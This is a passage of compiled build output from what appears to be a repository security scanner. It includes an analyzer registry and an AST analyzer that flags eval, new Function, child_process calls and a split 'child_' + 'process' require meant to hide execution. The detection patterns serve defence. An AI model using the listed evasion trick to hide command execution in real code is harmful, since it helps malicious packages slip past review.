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"}
|
|
@@ -0,0 +1,5 @@
|
|
|
1
|
+
import type { Finding, ScanOptions } from "../types";
|
|
2
|
+
export type Analyzer = (path: string, opts?: ScanOptions) => Promise<Finding[]>;
|
|
3
|
+
export declare const analyzers: Analyzer[];
|
|
4
|
+
export declare const optionalAnalyzers: Record<string, Analyzer>;
|
|
5
|
+
//# sourceMappingURL=index.d.ts.map
|
|
@@ -0,0 +1 @@
|
|
|
1
|
+
{"version":3,"file":"index.d.ts","sourceRoot":"","sources":["../../../src/analyzers/index.ts"],"names":[],"mappings":"AAAA,OAAO,KAAK,EAAE,OAAO,EAAE,WAAW,EAAE,MAAM,UAAU,CAAC;AAQrD,MAAM,MAAM,QAAQ,GAAG,CAAC,IAAI,EAAE,MAAM,EAAE,IAAI,CAAC,EAAE,WAAW,KAAK,OAAO,CAAC,OAAO,EAAE,CAAC,CAAC;AAEhF,eAAO,MAAM,SAAS,EAAE,QAAQ,EAM/B,CAAC;AAEF,eAAO,MAAM,iBAAiB,EAAE,MAAM,CAAC,MAAM,EAAE,QAAQ,CAEtD,CAAC"}
|
|
@@ -0,0 +1,20 @@
|
|
|
1
|
+
"use strict";
|
|
2
|
+
Object.defineProperty(exports, "__esModule", { value: true });
|
|
3
|
+
exports.optionalAnalyzers = exports.analyzers = void 0;
|
|
4
|
+
const packageAnalyzer_1 = require("./packageAnalyzer");
|
|
5
|
+
const vscodeAnalyzer_1 = require("./vscodeAnalyzer");
|
|
6
|
+
const makefileAnalyzer_1 = require("./makefileAnalyzer");
|
|
7
|
+
const shellScriptAnalyzer_1 = require("./shellScriptAnalyzer");
|
|
8
|
+
const jsAstAnalyzer_1 = require("./jsAstAnalyzer");
|
|
9
|
+
const nodeModulesAnalyzer_1 = require("./nodeModulesAnalyzer");
|
|
10
|
+
exports.analyzers = [
|
|
11
|
+
packageAnalyzer_1.packageAnalyzer,
|
|
12
|
+
vscodeAnalyzer_1.vscodeAnalyzer,
|
|
13
|
+
makefileAnalyzer_1.makefileAnalyzer,
|
|
14
|
+
shellScriptAnalyzer_1.shellScriptAnalyzer,
|
|
15
|
+
jsAstAnalyzer_1.jsAstAnalyzer,
|
|
16
|
+
];
|
|
17
|
+
exports.optionalAnalyzers = {
|
|
18
|
+
"include-node-modules": nodeModulesAnalyzer_1.nodeModulesAnalyzer,
|
|
19
|
+
};
|
|
20
|
+
//# sourceMappingURL=index.js.map
|
|
@@ -0,0 +1 @@
|
|
|
1
|
+
{"version":3,"file":"index.js","sourceRoot":"","sources":["../../../src/analyzers/index.ts"],"names":[],"mappings":";;;AACA,uDAAoD;AACpD,qDAAkD;AAClD,yDAAsD;AACtD,+DAA4D;AAC5D,mDAAgD;AAChD,+DAA4D;AAI/C,QAAA,SAAS,GAAe;IACnC,iCAAe;IACf,+BAAc;IACd,mCAAgB;IAChB,yCAAmB;IACnB,6BAAa;CACd,CAAC;AAEW,QAAA,iBAAiB,GAA6B;IACzD,sBAAsB,EAAE,yCAAmB;CAC5C,CAAC"}
|
|
@@ -0,0 +1 @@
|
|
|
1
|
+
{"version":3,"file":"jsAstAnalyzer.d.ts","sourceRoot":"","sources":["../../../src/analyzers/jsAstAnalyzer.ts"],"names":[],"mappings":"AAIA,OAAO,KAAK,EAAE,OAAO,EAAE,MAAM,UAAU,CAAC;AAKxC,wBAAsB,aAAa,CAAC,QAAQ,EAAE,MAAM,GAAG,OAAO,CAAC,OAAO,EAAE,CAAC,CAqJxE"}
|
|
@@ -0,0 +1,203 @@
|
|
|
1
|
+
"use strict";
|
|
2
|
+
var __createBinding = (this && this.__createBinding) || (Object.create ? (function(o, m, k, k2) {
|
|
3
|
+
if (k2 === undefined) k2 = k;
|
|
4
|
+
var desc = Object.getOwnPropertyDescriptor(m, k);
|
|
5
|
+
if (!desc || ("get" in desc ? !m.__esModule : desc.writable || desc.configurable)) {
|
|
6
|
+
desc = { enumerable: true, get: function() { return m[k]; } };
|
|
7
|
+
}
|
|
8
|
+
Object.defineProperty(o, k2, desc);
|
|
9
|
+
}) : (function(o, m, k, k2) {
|
|
10
|
+
if (k2 === undefined) k2 = k;
|
|
11
|
+
o[k2] = m[k];
|
|
12
|
+
}));
|
|
13
|
+
var __setModuleDefault = (this && this.__setModuleDefault) || (Object.create ? (function(o, v) {
|
|
14
|
+
Object.defineProperty(o, "default", { enumerable: true, value: v });
|
|
15
|
+
}) : function(o, v) {
|
|
16
|
+
o["default"] = v;
|
|
17
|
+
});
|
|
18
|
+
var __importStar = (this && this.__importStar) || (function () {
|
|
19
|
+
var ownKeys = function(o) {
|
|
20
|
+
ownKeys = Object.getOwnPropertyNames || function (o) {
|
|
21
|
+
var ar = [];
|
|
22
|
+
for (var k in o) if (Object.prototype.hasOwnProperty.call(o, k)) ar[ar.length] = k;
|
|
23
|
+
return ar;
|
|
24
|
+
};
|
|
25
|
+
return ownKeys(o);
|
|
26
|
+
};
|
|
27
|
+
return function (mod) {
|
|
28
|
+
if (mod && mod.__esModule) return mod;
|
|
29
|
+
var result = {};
|
|
30
|
+
if (mod != null) for (var k = ownKeys(mod), i = 0; i < k.length; i++) if (k[i] !== "default") __createBinding(result, mod, k[i]);
|
|
31
|
+
__setModuleDefault(result, mod);
|
|
32
|
+
return result;
|
|
33
|
+
};
|
|
34
|
+
})();
|
|
35
|
+
var __importDefault = (this && this.__importDefault) || function (mod) {
|
|
36
|
+
return (mod && mod.__esModule) ? mod : { "default": mod };
|
|
37
|
+
};
|
|
38
|
+
Object.defineProperty(exports, "__esModule", { value: true });
|
|
39
|
+
exports.jsAstAnalyzer = jsAstAnalyzer;
|
|
40
|
+
const fs_1 = __importDefault(require("fs"));
|
|
41
|
+
const path_1 = __importDefault(require("path"));
|
|
42
|
+
const glob_1 = require("glob");
|
|
43
|
+
const acorn = __importStar(require("acorn"));
|
|
44
|
+
const MAX_FILE_SIZE = 2 * 1024 * 1024; // 2MB
|
|
45
|
+
const MAX_FILES = 10000;
|
|
46
|
+
async function jsAstAnalyzer(repoPath) {
|
|
47
|
+
const findings = [];
|
|
48
|
+
const resolvedRoot = path_1.default.resolve(repoPath);
|
|
49
|
+
let jsFiles;
|
|
50
|
+
try {
|
|
51
|
+
jsFiles = await (0, glob_1.glob)("**/*.{js,mjs,cjs,ts}", {
|
|
52
|
+
cwd: resolvedRoot,
|
|
53
|
+
absolute: true,
|
|
54
|
+
ignore: [
|
|
55
|
+
"**/node_modules/**",
|
|
56
|
+
"**/.git/**",
|
|
57
|
+
"**/dist/**",
|
|
58
|
+
"**/build/**",
|
|
59
|
+
"**/coverage/**",
|
|
60
|
+
],
|
|
61
|
+
});
|
|
62
|
+
}
|
|
63
|
+
catch {
|
|
64
|
+
return findings;
|
|
65
|
+
}
|
|
66
|
+
// Cap at 10k files
|
|
67
|
+
if (jsFiles.length > MAX_FILES) {
|
|
68
|
+
jsFiles = jsFiles.slice(0, MAX_FILES);
|
|
69
|
+
}
|
|
70
|
+
for (const filePath of jsFiles) {
|
|
71
|
+
try {
|
|
72
|
+
const stats = fs_1.default.statSync(filePath);
|
|
73
|
+
if (stats.size > MAX_FILE_SIZE)
|
|
74
|
+
continue;
|
|
75
|
+
const code = fs_1.default.readFileSync(filePath, "utf8");
|
|
76
|
+
// Parse with acorn loose configuration (handles basic TS by ignoring types if possible, though acorn is JS only.
|
|
77
|
+
// For real TS, an AST stripper would be needed, but we'll try parsing as latest JS).
|
|
78
|
+
const ast = acorn.parse(code, {
|
|
79
|
+
ecmaVersion: "latest",
|
|
80
|
+
sourceType: "module",
|
|
81
|
+
allowHashBang: true,
|
|
82
|
+
});
|
|
83
|
+
const boundChildProcess = new Set();
|
|
84
|
+
const boundExec = new Set();
|
|
85
|
+
// A simple recursive walker
|
|
86
|
+
// eslint-disable-next-line @typescript-eslint/no-explicit-any
|
|
87
|
+
const walk = (node) => {
|
|
88
|
+
if (!node)
|
|
89
|
+
return;
|
|
90
|
+
// ES6 Imports
|
|
91
|
+
if (node.type === "ImportDeclaration" && node.source.value === "child_process") {
|
|
92
|
+
for (const spec of node.specifiers) {
|
|
93
|
+
if (spec.type === "ImportDefaultSpecifier" || spec.type === "ImportNamespaceSpecifier") {
|
|
94
|
+
boundChildProcess.add(spec.local.name);
|
|
95
|
+
}
|
|
96
|
+
else if (spec.type === "ImportSpecifier" && spec.imported.name === "exec") {
|
|
97
|
+
boundExec.add(spec.local.name);
|
|
98
|
+
}
|
|
99
|
+
}
|
|
100
|
+
}
|
|
101
|
+
// Variable bindings
|
|
102
|
+
if (node.type === "VariableDeclarator" && node.init && node.init.type === "CallExpression") {
|
|
103
|
+
const callee = node.init.callee;
|
|
104
|
+
if (callee.type === "Identifier" && callee.name === "require" && node.init.arguments[0]) {
|
|
105
|
+
const arg = node.init.arguments[0];
|
|
106
|
+
if (arg.type === "Literal" && arg.value === "child_process") {
|
|
107
|
+
if (node.id.type === "Identifier") {
|
|
108
|
+
boundChildProcess.add(node.id.name);
|
|
109
|
+
}
|
|
110
|
+
else if (node.id.type === "ObjectPattern") {
|
|
111
|
+
for (const prop of node.id.properties) {
|
|
112
|
+
if (prop.key && prop.key.type === "Identifier" && ["exec", "spawn", "execSync", "spawnSync"].includes(prop.key.name)) {
|
|
113
|
+
if (prop.value.type === "Identifier")
|
|
114
|
+
boundExec.add(prop.value.name);
|
|
115
|
+
}
|
|
116
|
+
}
|
|
117
|
+
}
|
|
118
|
+
}
|
|
119
|
+
}
|
|
120
|
+
}
|
|
121
|
+
// Function Calls
|
|
122
|
+
if (node.type === "CallExpression") {
|
|
123
|
+
const callee = node.callee;
|
|
124
|
+
// Catch require("child_" + "process")
|
|
125
|
+
if (callee.type === "Identifier" && callee.name === "require" && node.arguments[0]) {
|
|
126
|
+
const arg = node.arguments[0];
|
|
127
|
+
if (arg.type === "BinaryExpression" && arg.operator === "+") {
|
|
128
|
+
if (arg.left.type === "Literal" && arg.right.type === "Literal") {
|
|
129
|
+
const combined = String(arg.left.value) + String(arg.right.value);
|
|
130
|
+
if (combined === "child_process") {
|
|
131
|
+
findings.push(createAstFinding(filePath, "dynamic-child-process-require", "Dynamically concatenated child_process require"));
|
|
132
|
+
}
|
|
133
|
+
}
|
|
134
|
+
}
|
|
135
|
+
}
|
|
136
|
+
if (callee.type === "Identifier") {
|
|
137
|
+
if (callee.name === "eval") {
|
|
138
|
+
findings.push(createAstFinding(filePath, "eval-usage", "eval() executes arbitrary strings"));
|
|
139
|
+
}
|
|
140
|
+
else if (boundExec.has(callee.name)) {
|
|
141
|
+
findings.push(createAstFinding(filePath, "child-process-exec", "child_process execution called via bound variable"));
|
|
142
|
+
}
|
|
143
|
+
}
|
|
144
|
+
if (callee.type === "MemberExpression") {
|
|
145
|
+
if (callee.object.type === "Identifier" && boundChildProcess.has(callee.object.name)) {
|
|
146
|
+
const propName = callee.property.name || (callee.property.value);
|
|
147
|
+
if (["exec", "spawn", "execSync", "spawnSync"].includes(propName)) {
|
|
148
|
+
findings.push(createAstFinding(filePath, "child-process", `child_process.${propName}() called`));
|
|
149
|
+
}
|
|
150
|
+
}
|
|
151
|
+
}
|
|
152
|
+
}
|
|
153
|
+
// 3. new Function()
|
|
154
|
+
if (node.type === "NewExpression" && node.callee.type === "Identifier" && node.callee.name === "Function") {
|
|
155
|
+
findings.push(createAstFinding(filePath, "function-constructor", "new Function() is equivalent to eval"));
|
|
156
|
+
}
|
|
157
|
+
for (const key in node) {
|
|
158
|
+
if (node[key] && typeof node[key] === "object") {
|
|
159
|
+
if (Array.isArray(node[key])) {
|
|
160
|
+
node[key].forEach(walk);
|
|
161
|
+
}
|
|
162
|
+
else {
|
|
163
|
+
walk(node[key]);
|
|
164
|
+
}
|
|
165
|
+
}
|
|
166
|
+
}
|
|
167
|
+
};
|
|
168
|
+
walk(ast);
|
|
169
|
+
}
|
|
170
|
+
catch {
|
|
171
|
+
// Ignore parse errors (e.g. strict TS syntax that acorn rejects)
|
|
172
|
+
}
|
|
173
|
+
}
|
|
174
|
+
// Deduplicate findings per file
|
|
175
|
+
const unique = [];
|
|
176
|
+
const seen = new Set();
|
|
177
|
+
for (const f of findings) {
|
|
178
|
+
const hash = f.file + ":" + f.rule.id;
|
|
179
|
+
if (!seen.has(hash)) {
|
|
180
|
+
seen.add(hash);
|
|
181
|
+
unique.push(f);
|
|
182
|
+
}
|
|
183
|
+
}
|
|
184
|
+
return unique;
|
|
185
|
+
}
|
|
186
|
+
function createAstFinding(absolutePath, ruleId, desc) {
|
|
187
|
+
// Use a heuristic relative path if we can't get root easily here, or just basename
|
|
188
|
+
const p = absolutePath.split(path_1.default.sep).slice(-3).join(path_1.default.sep);
|
|
189
|
+
return {
|
|
190
|
+
file: p, // Not strictly relative to root, but decent enough for AST findings
|
|
191
|
+
scriptName: "AST Match",
|
|
192
|
+
command: null,
|
|
193
|
+
rule: {
|
|
194
|
+
id: ruleId,
|
|
195
|
+
description: desc,
|
|
196
|
+
severity: "high",
|
|
197
|
+
category: "ast-code-execution",
|
|
198
|
+
},
|
|
199
|
+
lifecycle: false,
|
|
200
|
+
detail: "Detected via JavaScript AST parsing",
|
|
201
|
+
};
|
|
202
|
+
}
|
|
203
|
+
//# sourceMappingURL=jsAstAnalyzer.js.map
|
|
@@ -0,0 +1 @@
|
|
|
1
|
+
{"version":3,"file":"jsAstAnalyzer.js","sourceRoot":"","sources":["../../../src/analyzers/jsAstAnalyzer.ts"],"names":[],"mappings":"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